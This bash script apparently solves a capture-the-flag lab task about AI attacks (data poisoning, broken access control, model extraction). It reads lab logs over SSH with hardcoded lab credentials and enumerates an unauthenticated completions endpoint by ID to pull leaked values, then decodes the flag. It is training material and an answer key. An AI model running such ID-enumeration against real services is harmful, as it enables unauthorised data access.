#!/bin/bash
# Catch Me If You Scan — Part I  (THM Token City Task 5, AI Sec + DFIR)
#
# Three planets, three attack types to identify from spectrometer fragments:
#   Vectara       data poisoning  → delta_v ASCII triplets       → ALPHA
#   Syntax Prime  broken access   → /api/completions/<id> IDOR   → BETA
#   Metadatera    model extraction → avg_logprob outlier          → GAMMA + flag

set -u
HOST="${HOST:-10.113.166.246}"
PW='TryHaulMe123!'
USR=epoch1-crew
S="$(dirname "$0")/sshrun.py"
NAV="http://$HOST:8080"
KETH="http://$HOST:5001"

hr() { printf '\n=== %s ===\n' "$*"; }
ssh_ () { "$S" "$HOST" "$USR" "$PW" "$1"; }

# --------- PLANET 1 : VECTARA — data poisoning ---------
hr "Travel: VECTARA"
curl -sk -m 30 -X POST -H 'Content-Type: application/json' \
  -d '{"planet":"vectara"}' "$NAV/api/travel"; echo

hr "Recover poisoned-sample delta_v values"
LINES="$(ssh_ "grep -v 'delta_v=0.000' /home/ubuntu/spectrometer/training_run.log | grep SAMPLE_AUDIT")"
echo "$LINES"
ALPHA="$(echo "$LINES" \
  | grep -oE 'delta_v=[0-9.]+' \
  | cut -d= -f2 \
  | tr '.' ' ' \
  | awk '{for(i=1;i<=NF;i++) printf "%c",$i}')"
echo "ALPHA = $ALPHA"

hr "Submit ALPHA"
curl -sk -X POST -H 'Content-Type: application/json' \
  -d "{\"code\":\"$ALPHA\",\"planet\":\"syntax_prime\"}" \
  "$NAV/api/clearance"; echo

# --------- PLANET 2 : SYNTAX PRIME — BAC on Keth Relay ---------
hr "Travel: SYNTAX PRIME"
curl -sk -m 30 -X POST -H 'Content-Type: application/json' \
  -d '{"planet":"syntax_prime"}' "$NAV/api/travel"; echo

hr "Enumerate Keth Relay completions (no auth on /api/completions/<id>)"
BETA=""
for i in $(seq 1 11); do
  R="$(curl -sk -m 8 "$KETH/api/completions/$i")"
  echo "id=$i :: $R"
  case "$R" in
    *WORSHIPPER*|*EXFIL*)
      BETA="$(echo "$R" | grep -oE 'exfiltrated_payload=[^ \"]+' | cut -d= -f2)"
      ;;
  esac
done
echo "BETA = $BETA"

hr "Submit BETA"
curl -sk -X POST -H 'Content-Type: application/json' \
  -d "{\"code\":\"$BETA\",\"planet\":\"metadatera\"}" \
  "$NAV/api/clearance"; echo

# --------- PLANET 3 : METADATERA — model extraction ---------
hr "Travel: METADATERA"
curl -sk -m 30 -X POST -H 'Content-Type: application/json' \
  -d '{"planet":"metadatera"}' "$NAV/api/travel"; echo

hr "Find verbatim-recall response (avg_logprob outlier closest to 0)"
# Do it all in one remote pipeline so the SSH banner can't contaminate the IDs.
DUMP="$(ssh_ "LC_ALL=C awk -F'\"avg_logprob\":' 'NF>1{split(\$2,a,\",\"); print a[1] \"|\" \$0}' /home/ubuntu/spectrometer/drift_traffic.log | LC_ALL=C sort -t'|' -k1,1gr | head -1 | cut -d'|' -f2-")"
echo "outlier line: ${DUMP:0:120}..."
GAMMA="$(echo "$DUMP" | grep -oE 'session_key: [A-Za-z0-9_]+' | awk '{print $2}')"
CANARY_B64="$(echo "$DUMP" | grep -oE 'canary_string: [A-Za-z0-9+/=]+' | awk '{print $2}')"
FLAG="$(printf '%s' "$CANARY_B64" | base64 -d 2>/dev/null)"
echo "GAMMA  = $GAMMA"
echo "CANARY (b64) = $CANARY_B64"
echo "FLAG   = $FLAG"

hr "Summary"
cat <<EOF
ALPHA = $ALPHA
BETA  = $BETA
GAMMA = $GAMMA
FLAG  = $FLAG
EOF